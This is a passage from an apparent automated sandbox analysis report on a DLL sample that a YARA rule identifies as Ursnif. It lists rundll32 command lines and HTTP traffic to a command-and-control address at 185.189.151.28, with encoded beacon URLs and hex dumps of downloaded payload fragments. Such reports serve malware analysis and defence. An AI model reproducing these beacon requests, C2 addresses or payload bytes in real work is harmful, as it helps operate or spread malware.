                        May 4, 2022 12:42:53.997919083 CEST4982080192.168.2.3185.189.151.28
                        May 4, 2022 12:43:43.976860046 CEST4982080192.168.2.3185.189.151.28

                        DNS Answers

                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                        May 4, 2022 12:42:32.684524059 CEST8.8.8.8192.168.2.30x4db9No error (0)l-0007.l-dc-msedge.net13.107.43.16A (IP address)IN (0x0001)

                        HTTP Request Dependency Graph

                        • 185.189.151.28

                        HTTP Packets

                        Session IDSource IPSource PortDestination IPDestination PortProcess
                        0192.168.2.349820185.189.151.2880C:\Windows\SysWOW64\rundll32.exe
                        TimestampkBytes transferredDirectionData
                        May 4, 2022 12:42:52.800200939 CEST11884OUTGET /drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk HTTP/1.1
                        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                        Host: 185.189.151.28
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        May 4, 2022 12:42:53.086601019 CEST11886INHTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Wed, 04 May 2022 10:42:53 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 186001
                        Connection: keep-alive
                        Pragma: public
                        Accept-Ranges: bytes
                        Expires: 0
                        Cache-Control: must-revalidate, post-check=0, pre-check=0
                        Content-Disposition: inline; filename="627258ad129b7.bin"
                        Data Raw: 90 fe 16 00 dd 20 a6 90 00 22 81 96 31 0c 06 ee 2c a0 48 f2 36 47 2b a8 1f 78 fb 84 fe 80 bc 68 83 a3 b0 1b 36 53 4b 75 0f a7 82 72 a1 41 e1 ff 47 06 9d 2a 90 8e 26 f8 83 6e 4c 7a ba 23 11 cb 7a c4 b5 76 5c eb 93 5b 14 3c c9 98 a5 e3 8b c6 36 cc 13 99 54 83 1a 4c 7b 46 49 91 17 ea 3b bb 0c 41 7e bf 1b 94 ad a3 32 05 aa 3b b0 4f 0c cb fc da 60 91 e2 bd 0d 03 9d 3c bd a2 dd d7 3f 0f 94 dc e3 06 b6 33 92 7e 82 88 84 01 f1 a2 02 d5 be cd 05 f8 80 06 a7 6e 5b 13 39 e7 33 43 f9 ee 65 41 c1 09 48 5c 39 3b 96 45 42 2c d6 0e 26 1b 0d 07 a7 4a 31 10 18 b4 36 c2 cb 88 ce 0e 68 30 dd c9 12 ff 5a 51 b6 1f 27 30 1a 25 a6 fb 5f b1 43 86 48 4a be 41 1d 15 20 30 a1 22 5a 46 58 f9 15 cc 69 9f 79 f8 78 b2 f1 f4 64 27 68 96 aa c1 73 d4 a7 58 3d ff ca 94 06 f9 ff 3e aa d1 00 6e c4 9d 6b 43 ac 0c 73 10 7f 0a 46 6d a9 74 29 b7 65 25 b5 77 93 76 25 7a b8 d9 0d 9c 83 ab 02 b1 78 eb 7b 8d 01 61 4d 6f 2e 0a da b3 c7 26 36 df 2a 95 d4 bf df d3 28 b1 c4 44 91 f7 ed 03 59 40 3e 4e f4 f3 2c 45 08 6c ca 1e 96 ba cc 33 c6 d6 79 6e fe fc 1f 27 b2 8a 2c 3c 8b e3 b4 14 90 a6 c2 99 62 62 09 88 68 9b e5 5d 5a 1b 90 23 e3 3f 1e 37 65 79 84 54 e6 fa 2d 39 d0 ab 72 5f 30 51 17 b6 8d 50 6c f0 28 5a 7e 77 5d 4f e7 c7 d6 f5 10 1c e5 da 36 7b 84 8e 94 d4 b7 df fa ab aa 17 53 ac e3 5b b0 72 c2 c8 65 0a a1 68 34 7f bd db 5d 00 76 de 42 e5 35 53 61 1f b2 46 e4 5d b5 7e a8 1e 4b 28 b7 9d 61 42 3c ec 8f ef c7 31 1c 8f 4c 68 8c 93 db e0 4b 86 ff 36 5e 8b e5 b6 46 f3 43 2c c5 92 03 de c3 8a 33 76 52 de 17 e1 6a 06 82 43 9b 7d 58 a6 f9 59 d0 35 f8 22 ec 02 92 5f c2 94 98 f9 9c 96 72 7e 76 47 66 f2 a7 7b 29 58 64 8a b4 df fe fc 78 4c 1b 45 88 71 86 ab 44 26 65 5b 29 85 31 04 6f 88 9a 15 b6 69 e2 90 95 32 fe 62 fe a0 0f 8f 8d 27 8d d0 63 31 96 18 ad c3 68 6d 1c 70 e8 65 66 f8 3d 34 d6 fb 93 0e 68 95 ae 3f 77 85 3e f6 c2 fd bd a3 12 e3 f3 a6 45 7e 74 c5 8b 22 2b 46 9f b3 fb 84 39 cc c4 6e 5f 09 3e cf c2 0b 7a d8 1a a2 f7 8f d2 7c c9 c7 0a 86 fa 2f c2 c4 67 c1 14 c1 36 f4 7e ca 10 53 88 8f 87 0c 9a d8 40 02 b6 78 d9 3c 5d 0e 45 6d e7 1a 21 99 b0 29 1b e3 e0 c0 2b 02 47 bc 53 00 3c 8a 66 74 ca 12 c0 49 dc 75 43 18 6a 42 18 c7 9e 0b 55 fd 45 f0 5b 24 3a b5 3c 10 b5 a7 10 c7 28 d0 c7 35 3f 54 35 0e 43 41 1d bf f5 f3 9a f4 ff 81 26 48 fc 80 5f f1 f8 71 99 e4 0e 17 6a 1c 75 5d 64 95 f7 e1 88 a2 00 94 90 5f 6c d5 cd fc a5 72 b7 b6 e5 e8 5a 13 63 f5 4b b5 8e f2 82 41 64 7f ad 8e bd e9 6e 51 d0 ef ec 63 ab 78 09 ea e7 8c 71 e8 5b 12 a9 e1 0c 48 ed cb 06 da f3 7d ca 85 d7 45 2a 4b b1 c5 1c 9e 75 8e 33 0a 02 a8 57 71 0d b4 5c b3 46 dc 38 88 72 5b 66 00 55 4f 00 28 2c 61 67 7b 85 11 64 8c 84 de df 2f 2c 69 eb ba a7 86 a4 d1 ce df aa e3 93 48 d5 31 9a b5 8c e4 87 f9 e2 a0 e3 0c 04 b3 c4 40 f7 0f 35 de fc 0b d9 d3 2a 45 b4 91 93 26 51 19 8d f2 45 67 3b ed ed 42 e2 04 cd 3e 9c e7 c6 6f 15 1b aa 04 9e d3 e4 9f c4 7b 67 37 b7 40 48 05 e7 10 93 59 8a 81 f5 ca 77 22 e4 64 f5 a9 d5 0a 81 0e 53 8f c5 43 23 2d 3d 0f e4 a2 8a df c3 7b 13 3e 33 04 8c 56 2d 62 47 40 39 58 13 9c 69 1e b2 1f da 02 b7 59 0b d1 3e
                        Data Ascii: "1,H6G+xh6SKurAG*&nLz#zv\[<6TL{FI;A~2;O`<?3~n[93CeAH\9;EB,&J16h0ZQ'0%_CHJA 0"ZFXiyxd'hsX=>nkCsFmt)e%wv%zx{aMo.&6*(DY@>N,El3yn',<bbh]Z#?7eyT-9r_0QPl(Z~w]O6{S[reh4]vB5SaF]~K(aB<1LhK6^FC,3vRjC}XY5"_r~vGf{)XdxLEqD&e[)1oi2b'c1hmpef=4h?w>E~t"+F9n_>z|/g6~S@x<]Em!)+GS<ftIuCjBUE[$:<(5?T5CA&H_qju]d_lrZcKAdnQcxq[H}E*Ku3Wq\F8r[fUO(,ag{d/,iH1@5*E&QEg;B>o{g7@HYw"dSC#-={>3V-bG@9XiY>
                        May 4, 2022 12:42:53.086652040 CEST11887INData Raw: 7c e5 07 28 e7 97 88 65 8c 42 65 12 be 3c 6e 38 dd ae 31 b0 00 6d 67 0c 0c 1b ef cc 43 84 5e 73 ad 05 a5 dd 1f bd d3 3a d0 a2 96 f6 61 1d 21 dc f0 ae ff ab fe de df b7 31 57 f7 18 f7 dd 5a e1 9d 99 3e cb a0 6b 6f 9c c6 53 97 06 dc 65 2d e0 e5 5a
                        Data Ascii: |(eBe<n81mgC^s:a!1WZ>koSe-Z0QW&'S*6RRM}ix# &am41^2Cha/Zf=(oUdv$PQd7n-45kWPw2tI:j`=|Q#No{
                        May 4, 2022 12:42:53.086808920 CEST11889INData Raw: 81 01 21 13 1b 0e fa 23 7a 85 b2 5f a7 1a f1 b0 f3 10 cd 90 bb 13 4e cc 62 ab 26 e9 45 51 ea 2b 1c 30 5f 1d 40 3b f5 32 9c 85 e3 8c 2f 0b fb 03 03 12 18 20 c6 e9 54 d0 0f 9d c2 9a 7a 02 7d 4f bd 74 79 e9 d8 dc 36 04 92 80 fc 2b aa 0e 72 6b 54 61
                        Data Ascii: !#z_Nb&EQ+0_@;2/ Tz}Oty6+rkTa@*9If1=f6_"zKT(}X<[Zvero-b8(Zl=a*<qfC^[]g?[$X8CN ANy!6c9U8
                        May 4, 2022 12:42:53.086848021 CEST11890INData Raw: 07 65 8e 45 2f ff a8 5f 21 88 ac fd 2f 32 fe 2b 28 01 00 29 3b d8 eb 1d 6b 8b 6a 47 f2 9b 12 cf 02 a7 1d 66 e8 ae b6 d4 c5 df c6 46 41 d9 95 a0 dc a2 67 35 3e 19 fc 5a f0 10 4c 2e e1 7e 0c 48 cf aa 36 fe 2e 2a 12 d9 1b 10 09 ed 5a b4 c7 82 3e 33
                        Data Ascii: eE/_!/2+();kjGfFAg5>ZL.~H6.*Z>3glGh0'ZO\6p`Da__3@{{WOXB0Mo{/>EADKER-j9-gQ75O{^Ng5:g"~'zj\[|
                        May 4, 2022 12:42:53.086955070 CEST11891INData Raw: 1d 9b 5a 47 2d 4e 6f 98 87 ad a5 6a 1e c6 3c 05 be 48 cc ba 1d d3 5b f8 f8 68 df 7d a2 95 56 2b 44 cd c8 e4 e3 f7 13 04 20 18 62 b0 f0 c0 91 a9 fb 0a 42 a5 3c fe 9a 56 07 98 40 e1 9b fd 9d 93 bd 63 29 a9 24 44 c6 cb 9c 99 e6 18 86 f2 c0 4d a5 7c
                        Data Ascii: ZG-Noj<H[h}V+D bB<V@c)$DM|j\LD!"tcM%? \~jv_ac4g7u}K*cu[j,nQ%.>87H5-A/4]?ZK?%@#qMK^CZ)0w
                        May 4, 2022 12:42:53.087039948 CEST11893INData Raw: 9b 32 44 85 0e 85 38 a8 96 86 b8 32 31 f8 fb 3f ce 22 69 e4 88 7f 5c bd 56 b9 0b 9a 8a 57 77 6e b3 18 8b 80 b7 43 c0 79 ea 9b 59 46 3a 4c a3 9c 4a 63 37 a4 f1 b8 e1 18 15 40 18 90 52 0c 7a 25 70 39 a0 65 ac 7b d9 19 95 b7 8c 3d 06 9d 2c 50 9a d1
                        Data Ascii: 2D821?"i\VWwnCyYF:LJc7@Rz%p9e{=,P>G6fDZ6{)gHvgq)#ch.za0b_T=a!#w/%q!5B|;poiMucE[}?#VLa9QK:&,*1v
                        May 4, 2022 12:42:53.087122917 CEST11894INData Raw: 89 37 ef 5e 93 27 61 3b e9 d7 bd c9 f4 ce e8 59 f5 fd 64 51 6a 34 7d 33 aa 72 b7 f1 13 4d d4 e1 b0 ff 11 e8 25 84 f0 e7 04 e9 6a fe 55 85 7c 74 94 a0 57 7e 02 c5 4f f4 df 98 a2 c6 f8 10 63 c2 71 bf f4 af 1e 11 1d 77 86 74 8d 7b a5 49 df 1c 2d 27
                        Data Ascii: 7^'a;YdQj4}3rM%jU|tW~Ocqwt{I-'}l/TI-4_*hQXe&$x`;_#9SgDNqhN3$lPDQ/qTa;,l_Cl)`A;OQi5
                        May 4, 2022 12:42:53.087166071 CEST11896INData Raw: 65 91 51 91 2c c0 bc 88 99 81 5a 67 a7 3a df 8b cf 5d c2 f2 7e 0c 0b d6 86 0d 2a d2 2f 54 8c 2c 22 a4 57 55 e9 a2 27 15 85 a8 85 1b 78 ed f2 a1 2e 55 66 46 c3 65 6d 97 a9 f5 bc 0e 3c 71 3a a6 b0 eb be 17 76 f9 99 26 1a c2 68 e2 fe 63 6d 41 2c a0
                        Data Ascii: eQ,Zg:]~*/T,"WU'x.UfFem<q:v&hcmA,60BCN<Z"V. zF}",SS0Q9P"ZrvV#@zPvVJ>dd{(P&eu5Kno1$Nw
                        May 4, 2022 12:42:53.087249994 CEST11897INData Raw: e7 f1 af e3 a0 df 1a 23 cc 86 78 ed 37 f1 c5 44 e1 c4 29 cb d3 79 19 58 06 6c ac 69 3b 4f db 8e 52 4a 52 5b c5 91 fb 80 2d f7 78 63 ad de d4 ce 47 b8 82 61 7e 33 ae dd fa 3a 9d c5 e7 5b a4 f5 4d 57 f6 6b 26 3c b8 f0 a1 67 b5 43 a7 fd b4 16 c6 58
                        Data Ascii: #x7D)yXli;ORJR[-xcGa~3:[MWk&<gCXGy&9?KE([>*vBl=<kwpL^qj4[f]O<Ak>^G]Zr(pi79o}]h?eYk-fVvTl64%wq`cLWvH;S.u
                        May 4, 2022 12:42:53.087282896 CEST11898INData Raw: a2 c2 68 6a 4a f9 cb 0c 95 a0 d2 fc b9 90 b5 37 0f f2 0d 79 49 c7 52 c0 ed fe 76 60 5e 5c 72 fa ad 72 d4 1a aa a9 c2 31 56 25 20 b6 79 3a f2 9d 4a 57 fe df 60 c4 ab 31 80 b2 fd 0b 57 57 4b 74 1f 82 3a a3 03 13 0d b3 02 51 e5 85 da d2 76 f2 ea c2
                        Data Ascii: hjJ7yIRv`^\rr1V% y:JW`1WWKt:QvPF{g[5)~=vVzh!Q?,f3+(R}U^Xe"!Q*opz"6XyYvyZjI?5x:^*XKncY1E;GN2
                        May 4, 2022 12:42:53.104511023 CEST11899INData Raw: 1d 36 27 b5 2e d7 49 d7 74 5c 39 c2 15 16 68 03 f3 98 a5 f2 e9 d0 57 2e a0 bd f6 5d e5 8d 59 a9 81 94 ee 52 2a aa c0 0a dd d7 b6 30 10 4e d9 54 a3 9f 03 d5 74 12 3c 01 96 8e 97 ae 5e c7 e1 48 41 cf 35 6e b7 8f ed 3d 04 cb 0d 79 5d fa cf d2 33 7f
                        Data Ascii: 6'.It\9hW.]YR*0NTt<^HA5n=y]3~wB;i981l5|Z._F47D,qv=w]I6V[pQOMW`,K{lr|B&bI.d<-8,~zBdF+0ok'!.
                        May 4, 2022 12:42:53.250349045 CEST12084OUTGET /drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk HTTP/1.1
                        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                        Host: 185.189.151.28
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        May 4, 2022 12:42:53.537480116 CEST12086INHTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Wed, 04 May 2022 10:42:53 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 238738
                        Connection: keep-alive
                        Pragma: public
                        Accept-Ranges: bytes
                        Expires: 0
                        Cache-Control: must-revalidate, post-check=0, pre-check=0
                        Content-Disposition: inline; filename="627258ad811af.bin"
                        Data Raw: 3b 4c 6b f7 b7 25 70 03 88 2d 7a 37 9e a1 c8 64 0b d8 31 31 97 0f c5 b0 5f f3 81 6d 9e c3 45 83 0a 34 18 f9 2a 0e ff 72 ff c7 33 d5 29 5d 81 f6 a5 6c 33 59 c7 fc d9 7d 59 a6 2c 44 a0 08 b0 48 8b 5c 88 ed 4d 9c 4e f2 9c 04 cf da 87 8f fc 28 44 1b 1f d6 84 bb dc 53 47 f0 25 da f7 b6 56 48 26 5b 83 11 f9 80 79 d3 3f ab 3f 7b 8a 14 23 8f 4d 34 6e a5 8d 52 88 cb c6 51 bd 4e 27 49 d6 ba 33 30 b3 e5 52 76 59 f9 49 45 bb 09 82 03 75 7c e0 12 67 43 e1 33 8e b9 58 1e 5a b6 16 2b cf ae 0e 8d cd e6 c9 bb 31 32 9c b6 7f 38 ef b7 14 c5 6b 56 72 db db f5 20 42 b0 21 7b c2 d3 e4 6b fa b6 29 2f 63 6f 43 cf fd 33 d1 f1 f3 33 82 eb 56 90 92 b4 a4 9c 0b 34 10 8d ed df d7 30 79 ee 6a 70 e6 2e 5b 2f d9 bf ad 8c 81 5f ec d7 15 c8 85 f6 42 0f 37 b8 b0 93 ac a1 85 c4 23 5e e0 43 b2 f2 93 6a d4 39 18 f6 17 0d d7 36 b6 2c 4f 0e 34 06 73 fa a7 52 3b a0 32 82 5c f1 6b e4 7a 99 fc 8d 27 58 8a 96 1b 31 e8 14 ee 43 b7 d2 fb 67 09 cb 2e 03 64 ad e4 8a 6a 5f 40 27 ac a0 21 ac cd 7a c6 94 f3 0b 04 1c f4 15 03 a5 59 24 02 68 2c 35 6a 8b 51 d7 90 e5 d9 30 8a 7f dc c2 68 ae 3c 42 9a 5c 68 06 a5 c2 c4 6e 0f ef 64 32 4f 69 ab 18 b4 9e 99 1f f5 05 56 47 02 8e 9f 27 d4 ff 10 20 e7 ed cd b1 4b 87 6e 27 42 1e 3e 24 80 4a 04 3c a3 49 30 16 f6 80 ec ff 7f 69 7e 67 e9 15 f7 0c 8d 63 a1 52 09 e9 b1 0e 05 e9 aa 92 c3 6e a8 af a5 9b c3 81 03 f7 56 3b 62 cc 61 4a 47 01 5f 44 7c dd 73 98 b0 56 89 42 12 05 2f fd 1e 39 b9 f3 98 27 a9 28 d5 bc c4 8e a4 e7 ec ab 89 c4 ce 19 ea b9 9c 21 dc 88 24 ec 64 2b cb a0 eb bf ca ae d2 49 96 b6 8a 04 ab fa 95 77 fa 63 0a 7a 0d 95 a1 96 99 44 58 4c cf 57 ae a4 39 c8 34 1e 91 57 0a 36 63 09 ab 63 76 c2 c1 18 dd ac c2 70 bf 06 25 e6 27 5d fc f2 4f 2b 48 d4 2b 9b aa 75 25 b7 70 f5 86 3b 83 06 05 3f 10 6e 86 51 69 da a6 a8 0d 8f 67 9f 77 dd f3 f1 bc a3 2b 9b cc 07 3c cd d5 4d 2e 5b 8d 0a 6e f3 42 ee 85 31 81 12 49 42 23 da f6 e0 21 58 34 f1 98 44 20 e0 34 20 6c e2 a7 e9 96 39 bf 64 eb 96 ab af dd c2 e5 93 2f 77 12 5b 31 b6 d4 8e 98 e1 b0 b9 97 01 7b 07 2a 86 59 bd e8 00 a8 a3 36 12 48 2c f4 25 13 19 ba df bb ee 61 56 99 a8 ad 21 38 93 bd 47 26 58 af f0 db 46 7b b6 65 aa de cd dc 57 71 ed 57 29 3c a1 90 6f b4 ca a6 dc 2b a1 45 2a 15 3d 27 0d 14 ac e3 a7 f3 ce f4 a4 99 60 7c d7 95 79 41 ca 61 9a 6f 54 40 1a 4e 73 8d c8 57 85 c6 32 d8 e6 76 bd 9e 2b c8 77 57 64 55 68 1e e8 b8 ce e3 27 ea 88 e0 6b 84 d6 22 a8 40 53 1f fe fd 7f 2c 64 e5 e3 c0 ba b0 7c 8c 1f 0a 1f 3d a3 aa df 4c 84 66 69 de c4 52 16 4a cb 9d 1b 22 74 04 be b4 75 aa ac 10 43 9c 84 24 1d 8b bb 5b c6 a9 da 99 7a c4 10 3c d8 88 4e 6f 5d 84 05 33 69 2b e5 f6 16 bf 76 b7 e2 b7 61 1a 36 95 4b 28 79 75 83 0d af 82 36 39 fb e4 c0 3c c2 32 b4 cc c4 35 09 29 45 a8 bf a7 f5 c5 b1 91 71 b2 a5 a9 77 0d 1f 79 f3 f3 6c a3 ab 52 a9 26 9e df 64 d9 64 a6 4f 74 f8 7f be 12 b6 01 54 bd bc e1 a6 7e 85 e2 01 e7 11 f6 40 6c 49 4a e2 ec 18 e1 9b c7 7e 26 d7 09 41 4c b1 bd cb b6 91 c6 24 7f 1a 3d 1b 36 89 c0 c2 20 6c 33 01 13 79 75 f9 66 8c 40 13 41 38 66 3a 0f 9b 37 54 93 3b 5b 14 19 90 ea 68 99 54 78 3a f9 f4 73 f6
                        Data Ascii: ;Lk%p-z7d11_mE4*r3)]l3Y}Y,DH\MN(DSG%VH&[y??{#M4nRQN'I30RvYIEu|gC3XZ+128kVr B!{k)/coC33V40yjp.[/_B7#^Cj96,O4sR;2\kz'X1Cg.dj_@'!zY$h,5jQ0h<B\hnd2OiVG' Kn'B>$J<I0i~gcRnV;baJG_D|sVB/9'(!$d+IwczDXLW94W6ccvp%']O+H+u%p;?nQigw+<M.[nB1IB#!X4D 4 l9d/w[1{*Y6H,%aV!8G&XF{eWqW)<o+E*='`|yAaoT@NsW2v+wWdUh'k"@S,d|=LfiRJ"tuC$[z<No]3i+va6K(yu69<25)EqwylR&ddOtT~@lIJ~&AL$=6 l3yuf@A8f:7T;[hTx:s
                        May 4, 2022 12:42:53.707282066 CEST12341OUTGET /drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk HTTP/1.1
                        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                        Host: 185.189.151.28
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        May 4, 2022 12:42:53.997746944 CEST12343INHTTP/1.1 200 OK
                        Server: nginx/1.18.0 (Ubuntu)
                        Date: Wed, 04 May 2022 10:42:53 GMT
                        Content-Type: application/octet-stream
                        Content-Length: 1856
                        Connection: keep-alive
                        Pragma: public
                        Accept-Ranges: bytes
                        Expires: 0
                        Cache-Control: must-revalidate, post-check=0, pre-check=0
                        Content-Disposition: inline; filename="627258adefd63.bin"
                        Data Raw: 9b a0 46 9f fb 74 7e 4c 02 9a 3e fd d9 71 c7 75 b7 c0 cf a4 f1 8f 69 7b ca 68 40 93 06 4e b2 61 6c 45 b6 60 ec c8 ae 61 ba a7 30 65 32 00 93 c4 61 b5 26 75 0f 9c 24 d6 6b 8d 49 83 bd 29 e5 c2 8e 84 e2 03 a7 53 8f 50 53 4e 60 d2 b0 83 79 b0 30 aa 56 2b de 37 b8 1e 29 a1 fe 12 f0 a4 8a b6 1c 50 54 8d e2 11 22 11 00 28 bf 5a 8e 88 5c f1 a5 ea 66 e4 d9 1d 25 32 3c 0d b9 88 74 8f 8e 4d dd 6f 8d 0c ff 3b fb ab 12 a8 aa 7b 3c 4a 84 d1 1c 81 c0 03 d3 5a f7 ca 0e 84 a2 cd bf 4b 4b 8a 9a a7 0b 3b 18 09 93 80 bd 2c 22 aa 10 18 d9 46 7f 3f 4a 98 a1 32 15 53 4d 52 37 e7 3d fc df 0b 99 86 dc 6e 28 45 31 41 af 5b f3 54 b8 c3 c4 0e de b4 8c 35 e7 ae 58 26 d9 51 48 2a a9 7c 38 bf 34 02 be a4 a2 60 c2 f2 a1 0b a5 b7 b8 45 00 65 8d 87 9e 0f 13 57 99 55 9c 6f 29 be 48 cb 2b 94 3e 15 dc a9 ca 66 19 e4 4b 96 5f 82 fb 25 15 6c e8 81 ba c7 c6 11 8f a6 22 f3 d3 46 8e 0a 4e a3 47 a3 43 c4 28 a9 04 8e 33 96 50 fc ff da 85 d8 1a 90 b6 c3 b6 70 00 35 37 e8 e0 9b 16 3a 8f 42 cc df f8 46 d9 65 92 fb a4 09 89 80 4b ed 32 53 0c fb 12 10 01 3c a7 65 18 1f 85 a3 3d 19 3b 35 60 ca 34 5d 34 52 31 52 97 a4 f7 e9 c8 a8 6d fd aa 00 d9 1a 03 b4 cf d3 6b 1d c9 a9 fb 98 be 9e ee 6e 98 aa dc 13 43 f5 f1 a4 c8 15 60 ac 89 bc 66 0e c3 5c 86 cf 87 08 78 b0 d7 93 ca a5 f3 d7 df 9f 82 0e 0c 47 f8 ba bb 22 96 1d 41 af ad 20 bb 3b f4 7c 43 d6 33 6b c5 a7 00 ad c7 e3 85 36 3d a9 cd ff 43 13 5d 1a 98 65 a5 39 a0 04 97 16 f2 aa 48 11 c3 92 11 ad e2 6c a1 be f1 26 93 a6 ac 32 e7 cb 42 6c f0 44 33 e2 1d 8e ae 3e b7 6c 0e 9d d6 61 ea 8a 3d 3b f9 10 d5 5e 6f e6 95 69 c6 71 9b d9 76 5a d7 a6 6d 73 3c 9c 16 98 fe 91 6c 22 21 a9 0d a3 b8 32 ec 0c e2 56 21 bd 0f b2 d9 7d 28 84 dc 5c 0a d0 73 cb ab bd 78 b6 e9 06 c7 a0 94 a6 59 4e d2 71 5b 21 08 5b 65 ac e4 58 76 1e 02 c8 9f 0d dd e0 90 25 a2 63 d5 df 0d 62 e9 e1 79 ab 4a 3b 73 dc 24 a2 34 4b 8e f7 84 e2 34 b7 48 aa f8 38 8e 40 82 ea 3e f7 65 c4 e9 55 1e 1c 09 eb 5f e8 d6 e0 be 03 c7 53 d9 7b 75 89 9d 91 ca e8 cf 8b fc 0e a2 1d 8b 29 79 32 6b ce 7d 50 cd 11 62 8e 9f e2 49 17 42 32 80 05 48 f4 b4 02 6d 95 48 d1 8f cf 58 79 80 88 10 83 25 2d 9c d3 a5 62 18 d5 cb e7 f6 ab c9 05 71 9d 97 91 57 12 95 83 e4 1e 21 ce 98 59 64 61 16 0c bc 86 44 3f 1e 63 85 6a b9 bb dc da c8 93 85 f0 15 ac 87 e7 0f bb 30 62 68 64 d9 35 20 8f a7 46 82 e0 bf e8 92 a0 37 1b 44 4e 09 c2 70 7b 5d ca 65 06 92 d7 1f 02 40 68 d8 f9 ce fe 22 b9 52 d6 37 3d 79 f5 4c bd 14 0c 30 6c e6 2b 48 c0 26 30 b8 43 9d de c8 55 66 eb 9d 88 ce 14 7f 49 50 c5 3f 64 97 0f 7a 4f 48 80 11 af 12 1c 95 66 bf ed ec e1 bd 12 35 7c da 51 24 8f b3 9f f8 1f 9b c0 d9 50 46 63 0f d2 4e 5c 43 00 32 a9 65 5a c3 30 73 8d 98 fa ff 3a 7d c3 b4 d5 ea d1 45 9c 4b 6c 69 1c f6 b4 3a 55 5c 5c 0e de 2a c7 47 93 6d ec 2b 02 99 c6 7b 5d ce 41 e3 ee c9 91 46 6e d4 10 d2 83 3e f6 91 b5 c3 ce d1 b9 12 29 94 e4 5a 7d ac dd 03 fc 4e 8f 4c 65 3e b6 12 c0 2b 6d 73 2a f6 b1 df bd a5 1d 5a 13 b6 7f a5 ca e1 33 ca 6b a4 88 3e c4 2e dd b1 9f 2c 6b 18 5e de cf fe 3b 59 3c 35 5f cf 58 4b 80 b6 2b aa 8f fe 2c ed d8 3b 2e 42 bb af 6f c1
                        Data Ascii: Ft~L>qui{h@NalE`a0e2a&u$kI)SPSN`y0V+7)PT"(Z\f%2<tMo;{<JZKK;,"F?J2SMR7=n(E1A[T5X&QH*|84`EeWUo)H+>fK_%l"FNGC(3Pp57:BFeK2S<e=;5`4]4R1RmknC`f\xG"A ;|C3k6=C]e9Hl&2BlD3>la=;^oiqvZms<l"!2V!}(\sxYNq[![eXv%cbyJ;s$4K4H8@>eU_S{u)y2k}PbIB2HmHXy%-bqW!YdaD?cj0bhd5 F7DNp{]e@h"R7=yL0l+H&0CUfIP?dzOHf5|Q$PFcN\C2eZ0s:}EKli:U\\*Gm+{]AFn>)Z}NLe>+ms*Z3k>.,k^;Y<5_XK+,;.Bo


                        Statistics

                        CPU Usage

                        Click to jump to process

                        Memory Usage

                        Click to jump to process

                        High Level Behavior Distribution

                        Click to dive into process behavior distribution

                        Behavior

                        Click to jump to process

                        System Behavior

                        General

                        Target ID:0
                        Start time:12:42:11
                        Start date:04/05/2022
                        Path:C:\Windows\System32\loaddll32.exe
                        Wow64 process (32bit):true
                        Commandline:loaddll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll"
                        Imagebase:0xce0000
                        File size:116736 bytes
                        MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high

                        General

                        Target ID:1
                        Start time:12:42:11
                        Start date:04/05/2022
                        Path:C:\Windows\SysWOW64\cmd.exe
                        Wow64 process (32bit):true
                        Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
                        Imagebase:0xc20000
                        File size:232960 bytes
                        MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high

                        General

                        Target ID:3
                        Start time:12:42:12
                        Start date:04/05/2022
                        Path:C:\Windows\SysWOW64\rundll32.exe
                        Wow64 process (32bit):true
                        Commandline:rundll32.exe "C:\Users\user\Desktop\rXN8OIpbzz.dll",#1
                        Imagebase:0x120000
                        File size:61952 bytes
                        MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Yara matches:
                        • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
